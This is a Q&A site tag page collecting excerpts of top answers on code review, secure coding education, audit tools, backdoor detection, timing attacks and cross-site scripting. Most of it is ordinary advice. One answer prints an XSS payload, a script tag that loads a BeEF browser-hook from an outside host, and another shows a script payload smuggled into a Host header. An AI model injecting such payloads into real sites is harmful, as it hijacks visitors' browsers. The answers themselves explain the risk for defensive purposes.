Tag Info

Hot answers tagged

44

I would say a great way to learn is for her to break the applications she has already written. Assuming she is writing web applications, point her towards the OWASP Top 10. Have her see if she can find any of those flaws in her own code. There is no better way to learn about security concepts than actually seeing it happen on your own code. Once a flaw has ...


24

I suggest taking a look at the following links: PHP Security Audit HOWTO Spike PHP Security Audit Tool Zend Application Security Audit 6 Free PHP Security & Auditing Tools


19

The commands themselves don't seem particularly concerning - they're a few random-looking searches for particular substrings. However, if your shell history has unexplainable entries, that's a sign that you've been hacked. At this point, what I would recommend is to check your SSH logs to find out when this occurred (and from what IP), and secure your ...


16

There are IT security companies which provide services like code auditing (most often along with other services like penetration testing, etc.). You contact them, describing your needs, then if this fall under their competences they will send you an estimate.


16

It's several text searches. The first one searches for update.creditcard (the dot is a any-single-character wildcard) across all subfolders. (More detail about grep -rnw on StackOverflow.) And if you or another admin didn't run these commands then I'd be very worried and wipe and reinstall that server. The searches themselves are harmless. But if anybody ...


14

Theoretically, any kind of null-pointer dereferencing in Java triggers a NullPointerException, which can be handled within Java just as any other exception. This does not mean that this is good: in practice, it is quite hard to recover from such an exception except by removing the faulty part (i.e. letting the calling thread die, or getting back to a ...


14

Here are the things on my list, that I use for my clients (including some of those that you've mentioned): Coverage (according to what the org requires today, and expects to use in the future) Language Architecture (e.g. some tools are great for web apps, but not so much for rich clients or even Windows Services / daemons) Framework (e.g. support for ...


14

I'm going to take the position that may get me flambéed... The problem I see, is that secure programming is taught as an add on. Best practices should be taught from the beginning (including security). The lie people are taught is that practice makes prefect. The truth is practice makes permanent. So if you are doing it wrong, you have to unlearn what ...


12

While I agree in principle with Everett, there is another point of view. The point of a lesson is to learn a concept, which can then be further built on. This lessens the slope of the learning curve. Teaching too much too fast is overwhelming; when faced with an onslaught of information, most brains "leak". It's great to say "Secure coding practices should ...


11

You should start with any interactive web proxy, such as burp proxy, paros, etc. Myself, I'm partial to Fiddler. Whichever tool you choose, this lets you examine all the request/response flow, and interact with the requests post-javascript. Great place to start. Eventually, I imagine OWASP's code crawler will support PHP too... though right now I'm not ...


11

Some good answers here, but I think some points were missing: Automatic tools finish a lot faster than manual testing, by orders of magnitude. Automatic tools cover the breadth, but you need manual testing for depth. (Breadth both in range of attacks/tests, and in probing all interfaces / lines of code). Autotools are great for the common low hanging ...


11

It depends on the situation - type of application, deployment model, especially your threat model, etc. For example, certain compilers can substantially change some delicate code, introducing subtle flaws - such as bypassing certain checks, that do appear in the code (satisfying your code review) but not in the binary (failing the reality test). Also ...


11

If you try to use pointer that is null, Java will throw a NullPointerException. Since this is a RuntimeException, you don't have to catch it, but you can. So for example String iAmNull = null; iAmNull.trim(); will throw a NullPointException and exit the program. If however you catch it try { String iAmNull = null;<br> ...


11

The bottom line: You are screwed. If you are concerned that one of the developers deliberately hid a backdoor in that codebase, you have no realistic hope of telling whether a backdoor is present. Life sucks. Comment: Some folks here are suggesting you can check for a backdoor by reviewing the code, or using static analysis tools, or somesuch. Don't ...


9

There is already a standard method of reporting vulnerabilities to vendors. CERT is great about contacting vendors and mitigating the issue. I think that your ideas can be helpful and there is a lot of overlap with your ideas and OWASP. You should look for a local OWASP chapter in your area. If one doesn't exist, MAKE ONE!, and use it as a platform ...


9

As @sonofaaa mentioned, in the book, "The Art of Software Security Assessment", the authors discuss code-auditing strategies in Chapter 4 (end of Part I). In particular, external flow sensitivity (data flow and control flow) and tracing direction (forward or backwards slicing) are discussed along with many neutral methods of review. Other topics are ...


9

It depends on what your requirements are. A sufficiently complex and well-designed system could be used to identify the most simple backdoors or trapdoors in most programming languages. However, if a language is Turing complete, any single expression or function can be expressed in an infinite number of ways, which makes such analysis equal to the halting ...


9

Depends what kind of assessment you want to do. Maybe you should change your title to indicate "Black Box" or "White Box" or both. I've learned that vendors have a very loose definition of "security review" on their software so it is important to do your own assessment if you have the resources. Code Review The Vendor's code is theirs and you aren't ...


8

I believe this question is best addressed in chapter 4 of The Art of Software Security Assessment, a book by Mark Dowd, Justin Schuh, and John McDonald. Without it as a reference, I can safely tell you that the best method is using runtime data along with source-code while determining "hits" (or traces, aka coverage) using black-box testing -- but only ...


8

Code review can be an expensive use of a consultants time and therefore your budget, to ensure you are getting value for money you could look to do the following; Triage the code you require to be reviewed. This way you may find that you can focus on code that completes specific roles such as authorisation / session management / specific business logic ...


8

Free doesn't go far, but you can try running the following yourself: The community edition of netsparker: http://www.mavitunasecurity.com/communityedition/ skipfish: http://code.google.com/p/skipfish/ And if you want to dig deeper & you're willing to spend a little time learning how to wield it, you can download and fire up Burp: ...


8

It is a XSS vulnerability, but it's quite difficult to exploit: Take for example the following URL: http://anything."><script>xss</script>.example.com/aa/bb This URL will carry an XSS payload in Host parameter when navigated to, but: DNS would have to resolve this strange domain to the IP with vulnerable application (so unless the DNS is ...


8

XSS can be very dangerous in many ways. For example if I inject the following bit of XSS into your code, all clients viewing this code with Javascript enabled would become a zombie in my BEEF-Framework(Browser Exploitation Framework): <script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script> Once anyone browse a page with that ...


8

As @Lucas said, a lawyer should be your first port of call, however from a high level I can give some guidance on areas to look at - these are a small subset: How does the organisation test their own security? Do they use approved testers, internal teams, or both? Will you have a right to audit using your own staff or consultants? How do they manage ...


8

Much like other aspects of a real education (perhaps this should be more on Parenting.SE...), I think it comes back to critical thinking. My daughter is also taking some college CS courses, and I'm helping her work through them. However, I do not spoonfeed her the information, she needs to work for it. In many cases, I explain something very wrong to ...


8

No, this is not secure. The HMAC check is vulnerable to timing attacks. Since the author uses a standard string comparison, the check stops as soon as one character from the provided HMAC doesn't match the corresponding character from the expected HMAC. So the longer the common prefix, the longer the check takes. By carefully observing those time ...


8

They are doing it, or at least they're expected to do so, as part of their Software Development Life Cycle (SDLC). In terms of vulnerability management, a best practice would be to first perform a source-code review (static/dynamic), and to scan their product using a vulnerability scanner. Note that there are also other steps to enforce a secure SDLC, such ...


7

I'd reiterate AviD's reply - Cross Site Scripting is generally better solved as a context sensitive output encoding problem, rather than an input validation problem. If you're trying to solve it as an input validation problem, you're going to be encouraging a black list input validation approach in many cases, or if you're using a white list approach you may ...


7

Firstly, you have what looks like PHP Shells at img/51.php and img/74.php which may have been the source(s) of your problem. These are generally uploaded by someone who has compromised a site in order to easily execute operating system commands and/or interrogate the database. If that is the case, you may be looking at an issue with an insecure version of ...



Only top voted, non community-wiki answers of a minimum length are eligible